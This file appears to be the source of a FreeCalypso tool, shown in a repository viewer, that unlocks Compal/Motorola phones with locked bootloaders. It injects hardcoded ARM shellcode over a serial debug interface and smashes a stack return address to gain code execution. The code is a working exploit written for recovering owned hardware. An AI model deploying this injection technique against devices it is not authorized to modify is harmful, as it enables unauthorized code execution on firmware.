view rvinterf/lowlevel/tfc139.c @ 1014:961efadd530a default tip

fc-shell TCH DL handler: add support for CSD modes TCH DL capture mechanism in FC Tourmaline firmware has been extended to support CSD modes in addition to speech - add the necessary support on the host tools side. It needs to be noted that this mechanism in its present state does NOT provide the debug utility value that was sought: as we learned only after the code was implemented, TI's DSP has a misfeature in that the buffer we are reading (a_dd_0[]) is zeroed out when the IDS block is enabled, i.e., we are reading all zeros and not the real DL bits we were after. But since the code has already been written, we are keeping it - perhaps we can do some tests with IDS disabled.
author Mychaela Falconia <falcon@freecalypso.org>
date Tue, 26 Nov 2024 06:27:43 +0000
parents 6f078c4a5506
children
line wrap: on
line source

/*
 * This program facilitates the recovery of those Compal/Motorola phones
 * whose bootloaders have been maliciously locked down.  It connects
 * to a running Mot C1xx firmware through the RVTMUX interface provided
 * by the latter and uses the Test Mode memory write command (which
 * these firmwares implement just like TI's reference fw) to inject
 * some shellcode and to transfer control to it by overwriting a
 * function return address on the stack.  The injected shellcode then
 * enables the Calypso boot ROM and jumps to it, allowing fc-loadtool
 * to take over from there.
 */

#include <sys/types.h>
#include <sys/errno.h>
#include <stdio.h>
#include <string.h>
#include <strings.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include "../include/pktmux.h"
#include "../include/limits.h"

extern int target_fd;

extern u_char rxpkt[];
extern size_t rxpkt_len;

char *logfname;
FILE *logF;
time_t logtime;
int no_output;	/* for output.c */

int wakeup_after_sec = 1;

/* see ../../target-utils/tf-breakin/payload.S for the source */
static u_char shellcode[114] = {
	0x78, 0x47, 0xC0, 0x46, 0xD3, 0xF0, 0x21, 0xE3,
	0x50, 0x10, 0x9F, 0xE5, 0xF5, 0x00, 0xA0, 0xE3,
	0xB2, 0x00, 0xC1, 0xE1, 0xA0, 0x00, 0xA0, 0xE3,
	0xB2, 0x00, 0xC1, 0xE1, 0x40, 0x60, 0x9F, 0xE5,
	0x05, 0x00, 0xD6, 0xE5, 0x20, 0x00, 0x10, 0xE3,
	0xFC, 0xFF, 0xFF, 0x0A, 0x38, 0x10, 0x8F, 0xE2,
	0x06, 0x20, 0xA0, 0xE3, 0x01, 0x00, 0xD1, 0xE4,
	0x00, 0x00, 0xC6, 0xE5, 0x01, 0x20, 0x52, 0xE2,
	0xFB, 0xFF, 0xFF, 0x1A, 0x05, 0x00, 0xD6, 0xE5,
	0x40, 0x00, 0x10, 0xE3, 0xFC, 0xFF, 0xFF, 0x0A,
	0x10, 0x10, 0x9F, 0xE5, 0x01, 0x2C, 0xA0, 0xE3,
	0xB0, 0x20, 0xC1, 0xE1, 0x00, 0xF0, 0xA0, 0xE3,
	0x02, 0xF8, 0xFF, 0xFF, 0x00, 0x58, 0xFF, 0xFF,
	0x10, 0xFB, 0xFF, 0xFF, 0x02, 0x02, 0x02, 0x4F,
	0x4B, 0x02
};

static unsigned shellcode_load_addr;
static unsigned stack_smash_addr;
static int thumb_entry = 1;

static u_char stack_smash_payload[4];
static int breakin_in_progress;

static char *target_tty_port;
static char *baudrate = "57600";

static void
send_compal_memwrite(addr, payload, payload_len)
	unsigned addr;
	u_char *payload;
{
	u_char pkt[MAX_PKT_TO_TARGET];
	int i, csum, csum_offset;

	pkt[0] = RVT_TM_HEADER;
	pkt[1] = 0x40;		/* old TM3 MEM_WRITE command */
	pkt[2] = addr;
	pkt[3] = addr >> 8;
	pkt[4] = addr >> 16;
	pkt[5] = addr >> 24;
	bcopy(payload, pkt + 6, payload_len);
	csum_offset = payload_len + 6;
	csum = 0;
	for (i = 1; i < csum_offset; i++)
		csum ^= pkt[i];
	pkt[i] = csum;
	send_pkt_to_target(pkt, i + 1);
}

static void
initiate_breakin()
{
	char msgbuf[80];
	unsigned jump_addr;

	sprintf(msgbuf,
	      "Using shellcode load addr 0x%x, stack smash starting addr 0x%x",
		shellcode_load_addr, stack_smash_addr);
	output_line(msgbuf);
	jump_addr = shellcode_load_addr;
	if (thumb_entry)
		jump_addr += 1;
	else
		jump_addr += 4;
	stack_smash_payload[0] = jump_addr;
	stack_smash_payload[1] = jump_addr >> 8;
	stack_smash_payload[2] = jump_addr >> 16;
	stack_smash_payload[3] = jump_addr >> 24;
	output_line("Sending shellcode RAM write");
	send_compal_memwrite(shellcode_load_addr, shellcode, sizeof shellcode);
	breakin_in_progress = 1;
}

static void
send_memcheck_query()
{
	u_char sendpkt[25];

	output_line("Sending GPF MEMCHECK query");
	/* fill out the packet */
	sendpkt[0] = RVT_L23_HEADER;
	sendpkt[1] = 0xB7;	/* system prim */
	sendpkt[2] = 20;
	sendpkt[3] = 0;
	/* send zeros for the timestamp */
	sendpkt[4] = 0;
	sendpkt[5] = 0;
	sendpkt[6] = 0;
	sendpkt[7] = 0;
	/* fixed string with all fields */
	strcpy(sendpkt + 8, "PCO L1  MEMCHECK");
	/* send it! */
	send_pkt_to_target(sendpkt, 24);
}

main(argc, argv)
	char **argv;
{
	extern char *optarg;
	extern int optind;
	int c;
	fd_set fds;

	while ((c = getopt(argc, argv, "a:AB:l:ms:w:")) != EOF)
		switch (c) {
		case 'a':
			shellcode_load_addr = strtoul(optarg, 0, 16);
			continue;
		case 'B':
			baudrate = optarg;
			continue;
		case 'l':
			logfname = optarg;
			continue;
		case 'm':
			/* mimic mot931c.exe */
			shellcode_load_addr = 0x800000;
			stack_smash_addr = 0x837C54;
			/* FALL THRU */
		case 'A':
			thumb_entry = 0;
			continue;
		case 's':
			stack_smash_addr = strtoul(optarg, 0, 16);
			continue;
		case 'w':
			wakeup_after_sec = strtoul(optarg, 0, 0);
			continue;
		case '?':
		default:
usage:			fprintf(stderr,
				"usage: %s [options] ttyport\n", argv[0]);
			exit(1);
		}
	if (argc - optind != 1)
		goto usage;
	if (stack_smash_addr && !shellcode_load_addr) {
		fprintf(stderr, "usage error: -a option required with -s\n");
		exit(1);
	}
	open_serial_port(argv[optind]);
	target_tty_port = argv[optind];
	set_fixed_baudrate(baudrate);

	set_serial_nonblock(0);
	setlinebuf(stdout);
	if (logfname) {
		logF = fopen(logfname, "w");
		if (!logF) {
			perror(logfname);
			exit(1);
		}
		setlinebuf(logF);
		fprintf(logF, "*** Log of TFC139 break-in session ***\n");
	}
	time(&logtime);
	if (stack_smash_addr)
		initiate_breakin();
	else
		send_memcheck_query();
	for (;;) {
		FD_ZERO(&fds);
		FD_SET(target_fd, &fds);
		c = select(target_fd+1, &fds, 0, 0, 0);
		time(&logtime);
		if (c < 0) {
			if (errno == EINTR)
				continue;
			perror("select");
			exit(1);
		}
		if (FD_ISSET(target_fd, &fds))
			process_serial_rx();
	}
}

static void
handle_tm_response()
{
	char msgbuf[80];

	if (!breakin_in_progress) {
		output_line("TM response unexpected at this time");
		return;
	}
	if (rxpkt_len != 4 || rxpkt[1] != 0x40 || rxpkt[2] || rxpkt[3] != 0x40){
		output_line("TM response differs from expected");
		return;
	}
	sprintf(msgbuf, "Sending stack smash write at 0x%x", stack_smash_addr);
	output_line(msgbuf);
	send_compal_memwrite(stack_smash_addr, stack_smash_payload, 4);
	stack_smash_addr += 4;
}

static void
analyze_gpf_packet()
{
	unsigned stackbase, untouched;
	static char format[] =
	  "Name:L1 Stat:%*s Count:%*s Prio:%*s Stack:%x Size:%*s Untouched:%u";
	char msgbuf[80];

	if (rxpkt_len < 17 || rxpkt_len > 128)
		return;
	/* it needs to be a trace packet */
	if ((rxpkt[1] & 0xF0) != 0xA0)
		return;
	/* check the length */
	if (rxpkt[2] + 4 != rxpkt_len)
		return;
	if (rxpkt[3])
		return;
	/* skip timestamp, check src and dest */
	if (strncmp(rxpkt + 8, "SYSTPCO ", 8))
		return;
	/* terminating NUL for sscanf */
	rxpkt[rxpkt_len] = '\0';
	if (sscanf(rxpkt + 16, format, &stackbase, &untouched) != 2)
		return;
	/* success! */
	sprintf(msgbuf,
		"Parsed L1 stack location: base=0x%x, untouched=%u (0x%x)",
		stackbase, untouched, untouched);
	output_line(msgbuf);
	if (stackbase & 3) {
		output_line("Error: stack base address is not word-aligned");
		exit(1);
	}
	untouched &= ~3;
	if (!shellcode_load_addr) {
		if (untouched < sizeof shellcode) {
			output_line("Error: not enough room for shellcode");
			exit(1);
		}
		shellcode_load_addr = stackbase;
	}
	stack_smash_addr = stackbase + untouched;
	initiate_breakin();
}

handle_rx_packet()
{
	if (rxpkt_len == 2 && rxpkt[0] == 'O' && rxpkt[1] == 'K') {
		output_line(
		"Success: target should now be in boot ROM download wait");
		printf("You can now run fc-loadtool -h compal -c none %s\n",
			target_tty_port);
		exit(0);
	}
	switch (rxpkt[0]) {
	case RVT_RV_HEADER:
		if (rxpkt_len < 6)
			goto unknown;
		print_rv_trace();
		return;
	case RVT_L1_HEADER:
		print_l1_trace();
		return;
	case RVT_L23_HEADER:
		print_g23_trace();
		if (!breakin_in_progress)
			analyze_gpf_packet();
		return;
	case RVT_TM_HEADER:
		print_tm_output_raw();
		handle_tm_response();
		return;
	default:
	unknown:
		print_unknown_packet();
	}
}